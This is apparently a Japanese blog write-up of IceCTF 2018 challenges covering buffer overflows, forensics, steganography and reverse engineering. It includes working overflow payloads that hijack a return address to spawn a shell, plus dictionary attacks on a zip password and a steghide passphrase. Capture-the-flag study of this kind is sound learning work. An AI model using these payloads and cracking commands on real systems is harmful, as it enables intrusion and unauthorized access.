IceCTF2018に参加したお話

はじめに

CTFtimeでみかけたIceCTFというものに参加したので、そこで解けた問題のwriteupを書きます。

目次

Binary Exploitation

Simple Overflow

問題ページに飛ぶと下記の画像のようなページが表示されます。 左側に概要と問題文、中央にアプリケーション、右側にアプリケーションのソースコードらしきものが表示されます。

f:id:ush1ken:20180912112822p:plain

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

const char* FLAG = "<REDACTED>"

void flag() {
    printf("FLAG: %s\n", FLAG);
}

void message(char *input) {
SHOW ORIGINAL
    char buf[16] = "Hello World!Hell";


SHOW ORIGINAL
    int secret = -889275714; // 0xcafebabe
    strcpy(buf, input);

    printf("You said: %s\n", buf);

    if (secret == 0xcafebabe) {
        flag();
    } else {
        printf("The secret is 0x%x\n", secret);
    }
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./overflow <message>\n");
    }
    return 0;
}

問題は5つあり、それぞれ下記の通りでした。 1. Hello world! In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.

  1. Overflow! What happens if you write more than 16 characters into the buffer? Can you make the secret change?

  2. Take control Can you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.

  3. Little endian In most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?

  4. Escape from ASCII As you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do? それぞれ下記の通り入力するとフラグが得られました。

  5. Hello World!
  6. Hello World!aaaaa
  7. Hello World!aaaaaaaa
  8. Hello World!aaaadcba
  9. Hello World!aaaa\xbe\xba\xfe\xca

5問目でブラウザだとどうエスケープすればいいのか悩んだのですが、一緒に参加していたメンバーがシンプルにエスケープして、フラグを得られました。

Cave

問題ページに飛ぶと前問と同様に下記の画像のようなページが表示されます。

f:id:ush1ken:20180912120343p:plain

ソースコードからして、前問と同様にBoF脆弱性を利用して、シェルを奪う問題のようなので、解析をします。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void message(char *input) {
    char buf[16];
    strcpy(buf, input);

    printf("The cave echoes.. %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./shout <message>\n");
    }
    return 0;
}

この環境では普通にobjdumpreadelfgdbが使えるようなので、それらを使って解析をしました。 その結果、message関数にてstrcpy関数を読んだ直後のスタックの状態を見て見ると下記のようになっていました。 入力バッファの先頭から29バイト以降にリターンアドレスらしきものがあるので、そこをshell関数のアドレスに変更できればshell関数を呼び出すことができます。

(gdb) x/32wx 0xffffd6c0
0xffffd6c0:     0x41414141      0xffffd700      0xf7ffcd00      0x00040000
0xffffd6d0:     0x00000000      0x00000000      0xffffd6f8      0x080485c2
0xffffd6e0:     0xffffd8dc      0xffffd7a4      0xffffd7b0      0x080485a5
0xffffd6f0:     0xffffd710      0x00000000      0x00000000      0xf7e28286
0xffffd700:     0x00000002      0xf7fc3000      0x00000000      0xf7e28286
0xffffd710:     0x00000002      0xffffd7a4      0xffffd7b0      0x00000000
0xffffd720:     0x00000000      0x00000000      0xf7fc3000      0xf7ffdc0c
0xffffd730:     0xf7ffd000      0x00000000      0x00000002      0xf7fc3000

ということで、下記のようなペイロードでフラグを得られました。

[adversary ~/cave]$ ./shout `python -c 'print("A"*28+"\x0b\x85\x04\x08")'`
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                              �
sh-4.4$ ls
flag.txt  Makefile  shout  shout.c
sh-4.4$ cat flag.txt
IceCTF{i_dont_think_cavemen_overflowed_buffers}

Flag: IceCTF{i_dont_think_cavemen_overflowed_buffers}

Forensics

Modern Picasso

Description

Here's a rendition of some modern digital abstract art. Is it more than art though?

f:id:ush1ken:20180913140556g:plain

上のようなpicasso.gifが与えられます。 一枚一枚の画像を見ると、細かい点のようなものが少しずつうつっています。 ということで、pythonで分解して、andをとったらフラグが出てきました。

from PIL import Image, ImageSequence

if __name__ == "__main__":
  im = Image.open("picasso.gif")
  frames = (frame.copy () for frame in ImageSequence.Iterator(im))
  for i, f in enumerate(frames):
    name = 'p-{}.png'.format(i+1)
    f.save(name)
from cv2 import *

if __name__ == "__main__":
  dst = imread('p-1.png')
  for i in range(2, 68):
    im = imread('p-'+str(i)+".png")
    dst = bitwise_and(im,dst)
  imwrite('output.png', dst)

f:id:ush1ken:20180913141022p:plain

Flag: IceCTF{wow_fast}

Hard Shells

Description

After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?

パスワードのかかったzipが与えられるので辞書攻撃でパスワードを探します。

# fcrackzip -u -D -p rockyou.txt hardshells.zip 

PASSWORD FOUND!!!!: pw == tacos
# unzip hardshells.zip 
Archive:  hardshells.zip
   creating: hardshells/
[hardshells.zip] hardshells/d password: 
  inflating: hardshells/d 
# file hardshells/d 
hardshells/d: Minix filesystem, V1, 30 char names, 20 zones

パスワードはtacosのようです。 中を見てみるとなにやら、Minix filesystemなるものがありました。

MINIX file system -Wikipedia

The MINIX file system is the native file system of the MINIX operating system.

MINIX OSファイルシステムのようです。

# strings hardshells/d | head -10
dat~
IHDR
IDATx
vQ[m
owWO
;1t'
j{w]n
tUiz5
rI_G
&1|a

とりあえずstringsコマンドで見てみると、IHDRIDATなどの文字列が見えます。 つまり、このdというファイルはpngファイルを含んでいることがわかります。

# binwalk hardshells/d 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
60457         0xEC29          Zlib compressed data, default compression

しかし、binwalkコマンドで中を見てみても何もファイルが出てこないので、バイナリエディタでのぞいてみると、どうやらマジックナンバー89 50 4E 47ではなく、89 50 55 47になっていることが確認できます。 ということで、55の部分を4Eにしてあげて、ファイルを保存しなおし、再度binwalkコマンドでextractすると、EC00.pngが出てきます。

# binwalk --dd="png" d

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
60416         0xEC00          PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced
60457         0xEC29          Zlib compressed data, default compression
184532        0x2D0D4         LZMA compressed data, properties: 0x76, dictionary size: 2097152 bytes, uncompressed size: 2640046703830451273 bytes
209144        0x330F8         LZMA compressed data, properties: 0x6C, dictionary size: 2097152 bytes, uncompressed size: 758602624453919817 bytes

しかしこれを開いてみても画像の上部しか表示されないため、exiftoolで情報をのぞいてみると、Warningが出ていることがわかります。

# exiftool -v EC00
  ExifToolVersion = 10.32
  FileName = EC00
  Directory = .
  FileSize = 5182464
  FileModifyDate = 1536819835
  FileAccessDate = 1536819845
  FileInodeChangeDate = 1536819835
  FilePermissions = 33188
  FileType = PNG
  FileTypeExtension = PNG
  MIMEType = image/png
PNG IHDR (13 bytes):
  + [BinaryData directory, 13 bytes]
  | ImageWidth = 1920
  | ImageHeight = 1080
  | BitDepth = 8
  | ColorType = 6
  | Compression = 0
  | Filter = 0
  | Interlace = 0
  Warning = Bad CRC for IDAT chunk
  Warning = Invalid PNG chunk size

もう一度、バイナリエディタで見てみると、1つめのIDAT chunkのlengthが0x2000バイトなのに対し、2つめのIDAT chunkまでのlengthが0x2400バイトあることに気づきました。 初めはlengthが間違えているのかと思ったのですが、間にあるバイト列をざーっと見てみると、明らかにゴミのようなバイト列が混じっており、区切りのいいところまで選択してみるとちょうど0x400バイト分ありました。

f:id:ush1ken:20180913153525p:plain

ということで、この0x400バイト分と、pngファイルの前後にあった0x00のバイト列を全て消して画像として開いたところフラグが得られました。

f:id:ush1ken:20180913153719p:plain

Flag: IceCTF{look_away_i_am_hacking}

Lost in the Forest

Description

You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?

fsというディレクトリが与えられるので、ここからフラグを探していきます。

$ ls fs/
bin   dev   home  media opt   root  sbin  sys   usr
boot  etc   lib   mnt   proc  run   srv   tmp   var

treeコマンドでディレクトリの全体を見てみると、hkrというユーザーがいることがわかりました。

$ tree -a fs/
fs/
...
├── home
│   └── hkr
│       ├── .bash_history
│       ├── .bash_logout
│       ├── .bash_profile
│       ├── .bashrc
│       ├── .profile
│       ├── .ssh
│       │   └── authorized_keys
│       ├── Desktop
│       │   └── clue.png
│       ├── Documents
│       ├── Downloads
│       ├── Music
│       ├── Pictures
│       │   ├── ngsn2dhjtM1sulnzno1_500.jpg
│       │   ├── ngw04qs2ah1r2r2hco1_500.jpg
│       │   ├── ngw06omoVx1r2r2hco1_500.jpg
...
│       │   ├── nrfh6lK0LK1t0ge0qo1_500.jpg
│       │   ├── nrgufoLBGp1uxhpyfo1_1280.jpg
│       │   └── nrjp4inobM1uvfeuho1_500.jpg
│       ├── Videos
│       └── hzpxbsklqvboyou
...

hkrユーザーのPicturesディレクトリにたくさん画像が入っていたので、そこにヒントがあるのかなあと思ったのですが特に怪しいものはありませんでした。 つぎに.bash_historyを見てみると、なにやらダウンロードしたスクリプトsecretというファイルを処理した結果をhzpxbsklqvboyouというファイルに流し込んでいました。

# cat fs/home/hkr/.bash_history
...
wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf
5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
...
mv eRkjLlksZp tool.py
...
./tool.py ../secret > ../hzpxbsklqvboyou
...
shred secret
...

ということで、スクリプトtool.pyとして保存して中を見ます。

# curl https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp > tool.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:-- 100   364  100   364    0     0   1923      0 --:--:-- --:--:-- --:--:--  1925
#!/usr/bin/python3
import sys
import base64

def encode(filename):
    with open(filename, "r") as f:
        s = f.readline().strip()
        return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5

if __name__ == "__main__":
    print(encode(sys.argv[1]))

受け取ったファイルの中身をencode関数でエンコードして出力するスクリプトのようなので、下記のようなスクリプトを書いてデコードするとフラグが出てきました。

#!/usr/bin/python3
import sys
import base64

def decode(filename):
    with open(filename, "r") as f:
      enc = f.readline().strip()
      enc = enc[0:int(len(enc)/5)]
      s =  base64.b64decode(enc[::-1].encode('utf-8')).decode('utf-8')
      l = [chr(ord(s[x])-([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x])for x in range(len(s))]
      return "".join(l)

if __name__ == "__main__":
    print(decode(sys.argv[1]))
# python tool.py fs/home/hkr/hzpxbsklqvboyou 
IceCTF{good_ol_history_lesson}

Flag: IceCTF{good_ol_history_lesson}

Steganogprahy

Drumbone

Description

I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?

f:id:ush1ken:20180913180933p:plain

某Elliot氏の画像が与えられるので、とりあえずStegSolveでペラペラとビット抽出をしてみます。 すると、Blueの0ビット目のみを抽出した画像で、なにやらQRコードのようなドットが浮き上がってくるので、solved.bmpとしてこの画像を保存します。

f:id:ush1ken:20180913181219p:plain

ということで下記のスクリプトで整形すると、QRコードが得られました。

from PIL import Image
if __name__ == "__main__":
  im = Image.open("solved.bmp")
  pix = im.load()
  qrcode = []
  for i in range(0,29):
    line = []
    for j in range(0,29):
      line.append('\033[48;5;255m \033[0m'*2 if sum(pix[1+6*i,1+6*j]) == 0 else ' '*2)
    print("".join(line))
  qrcode.append(line)

f:id:ush1ken:20180913182059p:plain

Flag: IceCTF{Elliot_has_been_mapping_bits_all_day}

ちなみに、Drumboneでggると、Blue Man Groupというアーティストの楽器の名前であることがわかります。 そのことから青の0ビット目を抽出すると予想するのが正攻法だったのかもしれません。

Hot or Not

DESCRIPTION

According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.

ファイルサイズのデカイ、以下のような画像(配布画像のスクリーンショット)が得られます。

f:id:ush1ken:20180913183044p:plain

拡大してみると、犬とホットドッグが87×87個並んでいることがわかりました。 ここでチームメンバーの一人が、ドラマSilicon valleyNotHotDogが元ネタじゃない?と教えてくれたので、適当に画像を分割して、gitに落ちていた識別器を使って識別しました。(識別には90分ほどかかりました。)

github.com

000000010100001000000000100111111111111000111111000000000111111000000000000000000010000000100000000010000000100000111111111111000111111000000000111111000000000000010001000100000000001010100010000000000111111111111011111111100000000111111000000000000000000001000001000001100000000000000111111000001000000111000111000010111000101000000000000010000000010000000000000000000000111111000000000001111001111000000111111000000000000000001000000000100000000000000010000111111000110110101111000111001000111000000000000000010000001000001000000000010100100100000111111100111111111010111111100100000001000010000000100110000100000010100100000100100010111111000111111111110111111000000000100000010000000001000000000000000001001101010000000111111010111111111010111111000000000100001101011000010000000000001100001000001000000000111001000000111010000001000000100000010000010000000010001000000010000000000000100000000111010000000111010000100001010110100000000000000000010010010010000000000000000010000100111000001000111000100000000000001000100010000100011000000001100000000000000110010000001000111000111110111000000111010000000000010101000000000000010000000000000001001000000000011111000111010111010100111000000000010001100010000001000010000101000000000000011000000010111010111100111011100111000000000000011000100100001000000000000000100001000000000111111001111001000111111000111000111111001010000100000010100000010000000000000000000000111111000111100000111111000111000111111001110000000000000000010000000000000000000000000111111000111000001111111001111100111111000000000000000001001000000010100000100000001000111001111100111001111000111101111000111001000101001000110000000000000000000000000000010111000111011111010111010111000111000111000000000000000010000001001000000100000000000000111000111011111000111000111010111000111000000010010000000011000000000010000001100000101111000000111111010010101111000010000111010100000000000000000001000100000100000000001100111000100111111000000000111100000000111000000000000001000001000000000000000000001110000111000000111111000010000111000000000111000100001100000001100000010000000010111111111111001000010000111111000111111010000111111000111111010100000111000000000101000111111111111000001010000111111010111111100100111111000111111010001010111100000000000001111111111111101110000000111111000111111000000111111100111111001001000111000111111111111111111010001111000111111111010000000000000111111000111111010111000111000111111111111111111111101001111000111111111000001000000000111111000111111000111000111001111111111111111111111100000111101111111111000001000101100111111000111111010111000111000111000111111111100111111111001111100110111111111000010111111111000000111111000111111000111000111111111001111111111001111010011111111111001010111111111000010111111000111111011111001111111111010111111111000111100000111111111000000111111111000000111111000111111000111111111001111000000000000111111111000111111000101111000100111111111000010100000000000111111111000111000000000000111111111001111111000000111010001111111111001000000000000010111111111000111000011000000111111111000111111000011111010010111111111000000010000000000111000000111111111001111000111111010000111000111111111000000010100111001000111100000010111001110111111111001111000111111000000111010111111111001001000010111000010111010000101111000001111111111000111000111111000000111000111111111010000100000111000010111011000010111111111000010010111100100000111001111000000001111000111111000001111111111111111111000111111111001011000111000000100111000111000001000111000111111000000111111111111111111001111111111000000001111100001011111001111100000000111000111111000000111111111111111111001111000000000111111111111111000000010111000111111000111100001010100111111111001111111110111010000000111111111111111000000000111001111111000111000010000000111111111000111111011111000000100111111111111111000100000111010111111000111000000001010111111111000111111000111000111111000001111000000011111111111111111000000000000111000000111111000000111000000001010111111100000111101001000111111111111111000010000000111000010111111000100111001001001100111111101010111000010100111111111111111000000100000111000000111111100000111000001000111111111111111010111000111111111010111111111111111111111111111111100110010111011111110111111111111111000111100111111111000111111111111111111111111111111000000010111000111000111111111111111000111000111111111000111111111111111111111111111111001000000111101111000111111010000100101101100100111000111010101100111111111111111111110111111111111111000000111111000000000000010000001111001111000100000111111111111111111110111111111111111000100111111000000000000000000010111100111010010010111111111111111111000111111111111111010000000000111111111000111001111000000000111000101001000111010000111111100000000111000010111010010111111111000111001111000000000111000000000000111000001111111100000000111001010111000000111111111000111000111000000100111101000000000111010000111111000110100111000100111010001111111111000000111111111010000111111000000111011100000111000000111111111000000111101001111111111001000111111111000000111111000010111000010000111000000111111111000000111000010111111111000000111111111000000111111010001111000000000111000010111111111100000111111111000111001000111000111010111000111101000000000111111000111111111111111000100111100111111000111100100111000111000111000111000100000000111111000111111111111111000000111010111111100111001000111000111100111000111000000000011111111000111111111111111000000111000000000000001100000100000111010111111001000111000011000111000111001001101111100111010111000001000000000000000000111000111111000000111000000001111000111100100000111100111000111000010000000000100001010111000111111110000111000000000111000111000001000111000111000111010000010100000000000000111111010000111001111100111001000111111100111000111111100000111100010100000000000100000111111010100111010111000111000000111111000111000111111000000111000010001000000000000000111111000000111000111100111000000111111000111000111111100000111000000100100100001100000111111111111111111111111100111100000111000000000111111010000111000000000100010000101000111111111111111111111111000111000000111000000100111111000000111100000000010001111000001111111111111111111111111000111000001111001000100111111000000111000000001001010000100000111000111000111000111111010111111111111111111111111111111000000001000100000000000010000111000111000111001111111000111111111111111111111111111111000000000000000011010000010001111010111000111000111111000111111111111111111111111111111010000010000011000010000000000000111111000000000000000111000111111111111000111111100111111000000000001000100010000010000111111000000000000010111100111111111111001111111010111111000000000000100000000000000001111111010101000000100111001111111111111001111111100111111010110000000000100000000000000000111111111111111111111111000000111111000010000011000111111000000000000000000000001000000111111111111111111111111000000111111010000010000100111111000000000000001110000000100010111111111111111111111111100010111111000100001000000111111010000010000000000000110001000000111111111000001111000010111111000111001111111100111111000010011000010000000000100000000111111111010001111000001111111001111000111111000111111110000000000000010001010000000010111111111000001111000000111111010111111111111100111111000000000100000000100000000000000000111111111111000001111000111111111100111000001111000000000000000000000000000101000000001111111111111000000111010111111111000111000110111001000101000001000000000001000000000011111111111111000010111100111111111110111001011111000

そして、この結果をスクリプトで整形して出力するとQRコードが出てきました。

def reset_dict(n):
  cand = {}
  for i in range(n):
    cand[i] = 0
  return cand

if __name__ == "__main__":
  with open("l.txt", "r") as f:
    l = f.read()
  l = list(l[:-1])
  cand = reset_dict(29)
  qr = []
  x = y = n = 0
  for i in range(len(l)):
    x = i%3
    cand[n] += int(l[i])
    if x == 2: n += 1
    if n == 29: y += 1; n = 0
    if y == 3:
      for j in range(29):
        if cand[j] > 4: qr.append(0)
        else: qr.append(1)
      cand = reset_dict(29)
      y = 0

  x = y = 0

  b_a = [0,1,2,3,4,5,6]
  b_b = [22,23,24,25,26,27,28]
  b_c = [0,6]
  b_d = [22,28]
  b_e = [2,3,4]
  b_f = [24,25,26]

  for i in range(len(qr)):
    if x in b_a+b_b and y in b_c: qr[i] = 0
    if x in b_a and y in b_d: qr[i] = 0
    if x in b_c and y in b_a+b_b: qr[i] = 0
    if x in b_d and y in b_a: qr[i] = 0
    if x in b_e+b_f and y in b_e: qr[i] = 0
    if x in b_e and y in b_f: qr[i] = 0
    x += 1
    if x == 29: y += 1; x = 0

  ans = []
  for i in range(len(qr)):
    if qr[i] == 0: ans.append("\033[48;5;255m \033[0m"*2)
    else: ans.append("\033[48;5;0m \033[0m"*2)
    x = i+1
    if x % 29 == 0: 
      ans.append("\n")
  print("".join(ans))

f:id:ush1ken:20180913184259p:plain

Flag: IceCTF{h0td1gg1tyd0g}

Rabbit Hole

たまねぎの画像だけが与えられます。

f:id:ush1ken:20180914015345j:plain

青い空を見上げればいつもそこに白い猫を使って調査をしていると、ステガノグラフィー->ビット抽出->ビット表示スクリーンに下記のような文言が書いてありました。

[フォーマット解析情報]
タイプ:JPEG
355 x 355 (0x163 x 0x163)  24bits  14311 (0x37E7)Byte
Steghide適用可能性あり

Steghideを適用した可能性があるということなので、Steghideのパスフレーズを辞書攻撃で求めます。

github.com

# ./steg_brute.py -b -d password.lst -f rabbithole.jpg 

 [i] Searching...
 61%|##################################################################################                                                   |

 wrote extracted data to "rabbithole_flag.txt".


 [+] Information obtained with password: onion

wsqxiyhn23zdi6ia

ということで、パスワードはonionwsqxiyhn23zdi6iaという文字列がでてきました。

これがフラグかと思ったのですが、どうやら違うようでwsqxiyhn23zdi6ia.onionというディープなウェブサイトにアクセスする必要があるようです。 アクセスすると以下のようなサイトを閲覧できます。

f:id:ush1ken:20180914020435p:plain

どうやら、この緑の文字の部分に何かが隠されているようです。 ということで、ソースコードをダウンロードし、html部分を除いたものをsrcというファイルとして保存します。

最初は、この文字列はUTF-8でダブルエンコーディングされた文字列なのかなあと最後まで悩んでいたのですが、CTF終了後に聞く話によればbase65536エンコードされているとのことでした。 ということで、pip install base65536して下記のスクリプトを実行します。

import base65536
if __name__ == "__main__":
 with open("src") as f:
    s = f.read().split()[0]
 somefile = base65536.decode(s)
 with open("somefile", "wb") as f:
    f.write(somefile)
# python dec.py 
# ls
dec.py   somefile src
# file somefile 
somefile: Zip archive data, at least v1.0 to extract
# unzip somefile 
Archive:  somefile
   creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/titlepage.xhtml  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/stylesheet.css  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/cover.jpg  
   creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/container.xml  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_36fa3f12.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_2213599d.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m54ba1c00.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/content.opf  
 extracting: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/mimetype  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/toc.ncx  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m5fceb080.png  
  inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_000.html 

base65536デコードしたものをファイルに出力すると、あら不思議zipファイルが出てきました。

# cd smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/
# grep -r IceCTF .
./tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html:down with The Post's Alice Rhee to explain. IceCTF{if_you_see_this_youve_breached_my_privacy} (Thomas LeGro/The

zipファイルを展開して、(もう真面目にフラグを探す気力もないので)脳死grepコマンドを打ったらフラグが出てきました。

Flag: IceCTF{if_you_see_this_youve_breached_my_privacy}

Reverse Engineering

Description

This is a fancy looking lock, I wonder what would happen if you broke it open? Note: You can download the binary here

実行ファイルを実行してみると、Enter key:でキーを入力しろと言われます。

$ ./lock
This is a pesky lock.. do you think you can open it?
Enter key: aaaa
key failed

キーの判定場所を探します。

f:id:ush1ken:20180913192507p:plain

上の図から、strlen_920という関数の返り値によって右(シェルをとれる)か、左(そのままexitする)かに分かれていることがわかります。

f:id:ush1ken:20180913192512p:plain

strlen_920という関数の中を見てみると、関数中央から下で何らかの文字列をmemfrob関数でエンコード(デコード)し、その結果と入力文字列が入っていると思われる変数をstrcmp関数で比較していることがわかります。 ということで、(相変わらずradare2の静的解析の方法を調べていないため)gdbで動的解析を行います。

# gdb -q lock
Reading symbols from lock...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x67f
(gdb) run
Starting program: /root/ctf/icectf/LockedOut/lock 

Breakpoint 1, 0x5655567f in main ()
(gdb) b *0x565556e9
Breakpoint 2 at 0x565556e9
(gdb) c
Continuing.
This is a pesky lock.. do you think you can open it?
Enter key: AAAA

Breakpoint 2, 0x565556e9 in main ()

まず、main関数にブレークポイントを仕掛けて、さらに先ほどのradare2で見つけたstrlen_920という関数にもブレークポイントを仕掛けて、その関数まで処理を進めます。 さらに、入力文字列となんらかの文字列を比較しているstrcmp関数の手前まで処理を進めます。

(gdb) x/s $esi
0x56558980:     "aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8"

strcmp関数まで進めて、引数の文字列を調べてみると、上記のような文字列が出力されます。 これがキーではないかと、予想して、再度バイナリを実行してこの文字列を入力してみます。

[adversary ~/lockedout]$ ./lock
This is a pesky lock.. do you think you can open it?
Enter key: aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8
unlocked!
sh-4.4$ ls
flag.txt  lock
sh-4.4$ cat flag.txt
IceCTF{you_m3ddling_k1ds}

Flag: IceCTF{you_m3ddling_k1ds}

おわりに

QRコードが出てきたときの快感を覚えてしまいました。 WebとCryptoにまったく手がでずつらい。精進したいです。